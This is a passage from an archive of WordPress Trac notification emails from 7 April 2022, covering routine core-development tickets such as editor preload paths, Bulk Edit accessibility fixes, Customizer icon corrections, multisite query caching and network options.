/edit-form-blocks.php#L14 `gutenberg_optimize_preload_paths`] filter in Gutenberg, and that filter can be removed after this is merged. **Post Editor** The `types` and `taxonomies` requests have `context` changed from `edit` to `view`, because these requests were modified in https://github.com/WordPress/gutenberg/pull/37685. Adding two new preloads: list of reusable blocks (`wp_block` post type, loaded from `/wp/v2/blocks`) and permissions for creating pages (`OPTIONS /wp/v2/pages`). Both requests are made in the `useBlockEditorSettings` hook, at the top of the post editor React tree. **Site Editor** Like in Post Editor, modify the `types` request `context` from `edit` to `view`. The `taxonomies` preload, together with four other ones, can be removed because the Site Editor doesn't request that data. Site Editor also doesn't need to preload `/wp/v2/settings`. These are used only in specialized blocks like Site Title, and by the `useTitle` hook which is by no means on critical path. **Widgets Editor** Adds a preload for the `/wp/v2/widget-types` endpoint requested by the `registerLegacyWidgetVariations` called during initialization. -- Ticket URL: <https://core.trac.wordpress.org/ticket/6#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 13:33:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 13:33:17 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.7ce0d6e821ccde4089b041a52f8e8584@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53093" 53093]: {{{ #!CommitTicketReference repository="" revision="53093" Site Editor: Resolve homepage template on server-side Backports change from Gutenberg to support server-side home template resolution in the Site Editor. Original PR https://github.com/WordPress/gutenberg/pull/38817. Props Mamaduka. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:52> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 13:38:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 13:38:23 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.4a5d8fc2ee6ba4491085505c4535d554@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53094" 53094]: {{{ #!CommitTicketReference repository="" revision="53094" Editor: Update preload paths for post, site and widgets editors Changes the REST endpoints that get preloaded when displaying a page for post, site and widgets editor, so that they are in sync with what the latest version of Gutenberg to be shipped with Core 6.0 really requests. Props jsnajdr. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:55> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 13:51:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 13:51:21 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.e305dcb97646817c9f2bf4144da8e662@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53095" 53095]: {{{ #!CommitTicketReference repository="" revision="53095" Editor: Remove loading remote patterns from editor pages Stops loading remote patterns on the post editor and site editor pages. The only place to load remote patterns is going to be the `/wp/v2/block- patterns/patterns` REST endpoint handler. Props jsnajdr. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:58> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 14:47:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 14:47:50 -0000 Subject: [wp-trac] [WordPress Trac] #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags In-Reply-To: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> References: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> Message-ID: <072.37e96ec6502c7cf0ee0c0ab73fef159b@wordpress.org> #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags ------------------------------------------+----------------------- Reporter: peterwilsoncc | Owner: flixos90 Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+----------------------- Comment (by pbearne): This implies to me that the function is being run twice This is got to be a performance hit -- Ticket URL: <https://core.trac.wordpress.org/ticket/55510#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 15:37:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 15:37:50 -0000 Subject: [wp-trac] [WordPress Trac] #53212: add post_type-specific version of the register_post_type_args filter In-Reply-To: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> References: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> Message-ID: <065.09378b3ff0c89c14c40bc66d8e8c40c3@wordpress.org> #53212: add post_type-specific version of the register_post_type_args filter -------------------------------------------------+------------------------- Reporter: pbiron | Owner: dlh Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: needs-dev-note needs-docs has-patch | Focuses: has-unit-tests | -------------------------------------------------+------------------------- Comment (by pbiron): I just made a few minor suggestions on the PR. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53212#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 16:06:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 16:06:50 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon In-Reply-To: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> References: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> Message-ID: <068.fdf0bc05a600c391d63dfecb51af1bd4@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ------------------------------+----------------------------- Reporter: KProvance | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: administration ------------------------------+----------------------------- Comment (by KProvance): Replying to [comment:7 SergeyBiryukov]: > Hi there, welcome to WordPress Trac! Good catch, thanks for the ticket. Not a problem. Glad I could help. And props to everyone who fixed it. Well done, folks! :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 16:42:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 16:42:25 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.d845821f9637bd63d5fa1ec3ae28a2db@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: fixed Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute has-patch commit | javascript -------------------------------------+------------------------------------- Changes (by joedolson): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53096" 53096]: {{{ #!CommitTicketReference repository="" revision="53096" Quick/Bulk Edit: Fix initial focus and keyboard operability. Fix the quick and bulk edit forms to set an appropriate initial focus, use native HTML controls for all interactions, and set appropriate labels for controls. Improve the semantics of HTML wrappers so lists are enumerable by screen readers. Props afercia, azaozz. Fixes #35483. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483#comment:32> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 16:45:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 16:45:54 -0000 Subject: [wp-trac] [WordPress Trac] #55540: Heading block takes extra padding while adding a background In-Reply-To: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> References: <051.a477d6668e39dde7504b104a20d617f9@wordpress.org> Message-ID: <066.91d4d21e7a19fd4a2e3bdea62689888a@wordpress.org> #55540: Heading block takes extra padding while adding a background --------------------------+-------------------------------- Reporter: kmadhak | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: 5.9.3 Severity: major | Resolution: reported-upstream Keywords: | Focuses: ui, css --------------------------+-------------------------------- Changes (by sabernhardt): * keywords: needs-patch needs-design => * resolution: => reported-upstream * status: new => closed * component: General => Editor * milestone: Awaiting Review => Comment: Thanks for opening the issue! I'll close this ticket then. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 16:54:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 16:54:59 -0000 Subject: [wp-trac] [WordPress Trac] #53948: Missing View Post from Admin Bar AFTER Publish (not update) In-Reply-To: <054.9a93e6383e7782107432b458fe404b12@wordpress.org> References: <054.9a93e6383e7782107432b458fe404b12@wordpress.org> Message-ID: <069.331413d7261b824046abc9490abea3eb@wordpress.org> #53948: Missing View Post from Admin Bar AFTER Publish (not update) --------------------------+--------------------- Reporter: vondelphia | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Toolbar | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------+--------------------- Changes (by sabernhardt): * Attachment "53948.2.diff" added. updated `since` note in option with a temporarily hidden link (53948 -admin-bar.php.diff) -- Ticket URL: <https://core.trac.wordpress.org/ticket/53948> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 17:18:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 17:18:02 -0000 Subject: [wp-trac] [WordPress Trac] #55522: Misleading method names plugin_dir_path and plugin_dir_url In-Reply-To: <060.ee972da12e197e47f5823313dedb8bbd@wordpress.org> References: <060.ee972da12e197e47f5823313dedb8bbd@wordpress.org> Message-ID: <075.3031dbcd9f66d7dbd720337508b55cc7@wordpress.org> #55522: Misleading method names plugin_dir_path and plugin_dir_url ------------------------------+------------------------------ Reporter: subrataemfluence | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: 5.9.2 Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------+------------------------------ Changes (by sabernhardt): * focuses: accessibility => -- Ticket URL: <https://core.trac.wordpress.org/ticket/55522#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 17:27:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 17:27:42 -0000 Subject: [wp-trac] [WordPress Trac] #55542: Customiser using wrong dashicon for external links Message-ID: <049.31fbde47212f5c1e60304d4686716961@wordpress.org> #55542: Customiser using wrong dashicon for external links --------------------------+----------------------------- Reporter: pross | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Customize | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- To reproduce: Open Customiser, click Additional CSS, outbound links are using the "logout" icon instead of external link. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55542> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 17:35:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 17:35:43 -0000 Subject: [wp-trac] [WordPress Trac] #55542: Customiser using wrong dashicon for external links In-Reply-To: <049.31fbde47212f5c1e60304d4686716961@wordpress.org> References: <049.31fbde47212f5c1e60304d4686716961@wordpress.org> Message-ID: <064.4d4830933093bf57bcf75c243c716f91@wordpress.org> #55542: Customiser using wrong dashicon for external links --------------------------+--------------------- Reporter: pross | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------+--------------------- Changes (by SergeyBiryukov): * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55542#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 17:41:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 17:41:02 -0000 Subject: [wp-trac] [WordPress Trac] #55542: Customiser using wrong dashicon for external links In-Reply-To: <049.31fbde47212f5c1e60304d4686716961@wordpress.org> References: <049.31fbde47212f5c1e60304d4686716961@wordpress.org> Message-ID: <064.f09f3c5b6aa013d6922d2775c548bcea@wordpress.org> #55542: Customiser using wrong dashicon for external links --------------------------+--------------------- Reporter: pross | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------+--------------------- Changes (by SergeyBiryukov): * version: => 4.7 Comment: For reference, the PR replaces the `migrate` dashicon with `external`: https://developer.wordpress.org/resource/dashicons/#migrate https://developer.wordpress.org/resource/dashicons/#external Introduced in [38829] / #35395. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55542#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 17:44:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 17:44:49 -0000 Subject: [wp-trac] [WordPress Trac] #55462: Improve cache key generation in WP_Site_Query In-Reply-To: <056.788faa0f83ecc66621ed2f44c8bdd070@wordpress.org> References: <056.788faa0f83ecc66621ed2f44c8bdd070@wordpress.org> Message-ID: <071.97ac31fc57219649a2f9e7b59a8c6cae@wordpress.org> #55462: Improve cache key generation in WP_Site_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch has-unit- | Focuses: multisite, tests commit | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53097" 53097]: {{{ #!CommitTicketReference repository="" revision="53097" Networks and Sites: Improve cache key generation in `WP_Site_Query` class. Improve cache key generation in the `WP_Site_Query` class by removing `update_site_cache` and `update_site_meta_cache` elements in the array used to generate the cache key. These elements do not affect that cache and by removing them, improve the likelihood of reusing an existing cache. Props Spacedmonkey, furi3r, johnbillion, johnjamesjacoby, flixos90. Fixes #55462. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55462#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 17:58:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 17:58:14 -0000 Subject: [wp-trac] [WordPress Trac] #55461: Improve cache key generation in WP_Network_Query In-Reply-To: <056.d13ed3c690dcbe4f318e2a175491c637@wordpress.org> References: <056.d13ed3c690dcbe4f318e2a175491c637@wordpress.org> Message-ID: <071.13fa2be369f36da9c689f1992f6c35fb@wordpress.org> #55461: Improve cache key generation in WP_Network_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch has-unit- | Focuses: multisite, tests commit | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53098" 53098]: {{{ #!CommitTicketReference repository="" revision="53098" Networks and Sites: Improve cache key generation in `WP_Network_Query` class. Improve cache key generation in the `WP_Network_Query` class by removing `update_network_cache` element in the array used to generate the cache key. This element does not affect that cache and by removing it, it improves the likelihood of reusing an existing cache. Props Spacedmonkey, furi3r, johnbillion, johnjamesjacoby, flixos90. Fixes #55461. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55461#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:00:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:00:32 -0000 Subject: [wp-trac] [WordPress Trac] #55542: Customiser using wrong dashicon for external links In-Reply-To: <049.31fbde47212f5c1e60304d4686716961@wordpress.org> References: <049.31fbde47212f5c1e60304d4686716961@wordpress.org> Message-ID: <064.f9645682d25269e2bfe118e4f44b64d2@wordpress.org> #55542: Customiser using wrong dashicon for external links --------------------------+----------------------------- Reporter: pross | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: --------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => closed * resolution: => fixed Comment: In [changeset:"53099" 53099]: {{{ #!CommitTicketReference repository="" revision="53099" Customize: Use correct dashicon for external links in the Additional CSS section. This replaces the `migrate` dashicon with `external` in the section description styles. Follow-up to [38829]. Props pross. Fixes #55542. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55542#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:07:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:07:35 -0000 Subject: [wp-trac] [WordPress Trac] #36907: Improved sticky post query In-Reply-To: <056.3d869f6613968a9b112cc6108cfa738f@wordpress.org> References: <056.3d869f6613968a9b112cc6108cfa738f@wordpress.org> Message-ID: <071.01cbb41ffc49bacfd3a509439e185a22@wordpress.org> #36907: Improved sticky post query --------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Query | Version: 3.5 Severity: normal | Resolution: fixed Keywords: | Focuses: performance --------------------------+--------------------------- Changes (by spacedmonkey): * status: reopened => closed * resolution: => fixed -- Ticket URL: <https://core.trac.wordpress.org/ticket/36907#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:40:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:40:21 -0000 Subject: [wp-trac] [WordPress Trac] #37181: Use metadata api in *_network_options In-Reply-To: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> References: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> Message-ID: <071.0e1777fc22b38d0ff6853f69ce2e1f02@wordpress.org> #37181: Use metadata api in *_network_options -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: reopened Priority: normal | Milestone: Future | Release Component: Networks and Sites | Version: 4.4 Severity: normal | Resolution: Keywords: has-patch ms-roadmap dev-feedback | Focuses: multisite, has-unit-tests | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-07 at 14.30.45.png" added. Before patch applied -- Ticket URL: <https://core.trac.wordpress.org/ticket/37181> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:40:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:40:54 -0000 Subject: [wp-trac] [WordPress Trac] #37181: Use metadata api in *_network_options In-Reply-To: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> References: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> Message-ID: <071.0e3e3894da1a76c4d6221813bbe46890@wordpress.org> #37181: Use metadata api in *_network_options -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: reopened Priority: normal | Milestone: Future | Release Component: Networks and Sites | Version: 4.4 Severity: normal | Resolution: Keywords: has-patch ms-roadmap dev-feedback | Focuses: multisite, has-unit-tests | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-07 at 14.31.47.png" added. After patch is applied -- Ticket URL: <https://core.trac.wordpress.org/ticket/37181> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:41:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:41:08 -0000 Subject: [wp-trac] [WordPress Trac] #45021: Media: Gallery modal has wrong focus and image detail In-Reply-To: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> References: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> Message-ID: <067.082bf46cee8ded0cdb82bb9bf7b4ae88@wordpress.org> #45021: Media: Gallery modal has wrong focus and image detail -------------------------------------+------------------------------------- Reporter: joyously | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-screenshots needs- | Focuses: accessibility, patch | javascript -------------------------------------+------------------------------------- Comment (by joedolson): I took a close look at this, and in my testing I think there's some lack of clarity, but it isn't focus issues. A lot of the focus states were changed when the media library was adapted to use a standardized tab UI in https://core.trac.wordpress.org/ticket/47149, so much of this is possibly obsolete. 1) Add Media > Focus is set to the Add Media dialog. There's no visible focus, because it's the entire dialog that has focus. This is fine. 2) Create Gallery > Search focused. I wasn't able to reproduce this; in my testing, after clicking 'Create Gallery', the next tab moved focus to the Media Library tab, then within the tab. 3) Click an image, then Create Gallery > Selected image is focused. The selected image is not focused, though the 'image selected' state is very similar to the 'image focused' state. There isn't a screenshot showing this state, so this may have changed since the original report; but perhaps the 'selected image' design should be better differentiated from the 'focused' design? They aren't the same; focused has a shadow/blur outline, selected is a solid outline, but they are similar. 4) If multiple images selected in Edit Gallery / Create Gallery, then 'Create a New Gallery' clicked, 'Cancel Gallery' is focused. At this point, I'm getting 'Edit Gallery' as the focus, which represents the current view; I think that's reasonable. Most of the differences above stem from the changes following the Media Library changes stemming from https://core.trac.wordpress.org/ticket/47149. 5) On cancelling the creation of a gallery, the selected images are still selected in Add Media. This seems like a legitimate problem, still - though it's not focus related. We do have two separate controls: one to clear the selection, and one to cancel creation of the gallery. They are technically different actions, but I think it's very reasonable that a user would expect cancelling the creation of a gallery to also clear their selection. I think we should consider that change. I'm not sure what the use case might be for "cancel creating this gallery, but retain the selected images". -- Ticket URL: <https://core.trac.wordpress.org/ticket/45021#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:41:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:41:52 -0000 Subject: [wp-trac] [WordPress Trac] #37181: Use metadata api in *_network_options In-Reply-To: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> References: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> Message-ID: <071.02320999a81c1650025ecbeb065eeec0@wordpress.org> #37181: Use metadata api in *_network_options -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: reopened Priority: normal | Milestone: Future | Release Component: Networks and Sites | Version: 4.4 Severity: normal | Resolution: Keywords: has-patch ms-roadmap dev-feedback | Focuses: multisite, has-unit-tests | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-07 at 14.36.47.png" added. Before patch ( 14 queries to site table ) -- Ticket URL: <https://core.trac.wordpress.org/ticket/37181> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:42:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:42:55 -0000 Subject: [wp-trac] [WordPress Trac] #37181: Use metadata api in *_network_options In-Reply-To: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> References: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> Message-ID: <071.682b5a04cb59841216c64594619f3030@wordpress.org> #37181: Use metadata api in *_network_options -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: reopened Priority: normal | Milestone: Future | Release Component: Networks and Sites | Version: 4.4 Severity: normal | Resolution: Keywords: has-patch ms-roadmap dev-feedback | Focuses: multisite, has-unit-tests | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-07 at 14.37.10.png" added. After patch ( 14 queries replaced with 1 query ) -- Ticket URL: <https://core.trac.wordpress.org/ticket/37181> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:43:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:43:55 -0000 Subject: [wp-trac] [WordPress Trac] #45021: Media: Gallery modal has wrong focus and image detail In-Reply-To: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> References: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> Message-ID: <067.de1b73c29705ac007eb199d4dcb72554@wordpress.org> #45021: Media: Gallery modal has wrong focus and image detail -------------------------------------+------------------------------------- Reporter: joyously | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-screenshots needs- | Focuses: accessibility, patch | javascript -------------------------------------+------------------------------------- Comment (by joedolson): It may be that this ticket should be closed and a new ticket created to decide whether cancelling a gallery should update the selection, since the majority of the issues in this ticket are already resolved elsewhere. -- Ticket URL: <https://core.trac.wordpress.org/ticket/45021#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 18:55:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 18:55:40 -0000 Subject: [wp-trac] [WordPress Trac] #45021: Media: Gallery modal has wrong focus and image detail In-Reply-To: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> References: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> Message-ID: <067.383efde189580d99bbce358925f84095@wordpress.org> #45021: Media: Gallery modal has wrong focus and image detail -------------------------------------+------------------------------------- Reporter: joyously | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-screenshots needs- | Focuses: accessibility, patch | javascript -------------------------------------+------------------------------------- Comment (by joyously): A new ticket loses the history from this one. I say just fix whatever problems still remain, on this ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/45021#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 19:04:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 19:04:11 -0000 Subject: [wp-trac] [WordPress Trac] #37181: Use metadata api in *_network_options In-Reply-To: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> References: <056.a9a12042e8bbc071a4a535ac583bce0b@wordpress.org> Message-ID: <071.ea14e7bc73b284e5ad19a5d1bbe7c236@wordpress.org> #37181: Use metadata api in *_network_options -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: reopened Priority: normal | Milestone: Future | Release Component: Networks and Sites | Version: 4.4 Severity: normal | Resolution: Keywords: has-patch ms-roadmap dev-feedback | Focuses: multisite, has-unit-tests | performance -------------------------------------------------+------------------------- Comment (by spacedmonkey): Spent some more time on this ticket lately. I think this patch should go into core for the following reasons. - Priming caches for all network options in one query, reduces page load time and number of queries run on the page. See attached screenshots, that removed up to 14 queries per page ( in network admin ). This is a massive performance win. - With improvement to the `register_meta` function in earlier versions of WP, it now means that default values for a meta key can defined globally. Meaning that a network option could be register with a default value and type. There are a series of filter in the meta api that would be extremely useful for handling network options ( meta ). This opens up option in the future to have functions like `register_network_setting` ( a wrapper around register_meta ). This will bring network options more inline with options, see `register_setting`. - Remove the need for the `'site-options'` cache group. - Remove need for `notoptions` cache. - Improve consistency with how other meta types handle meta data. - Removal of lots of code. - Open door to reuse meta REST API controller, to handle CRUD in network options. It is worth noting that is change does not close the door to #25344 in the future and is a good first step towards its. -- Ticket URL: <https://core.trac.wordpress.org/ticket/37181#comment:61> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 19:56:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 19:56:24 -0000 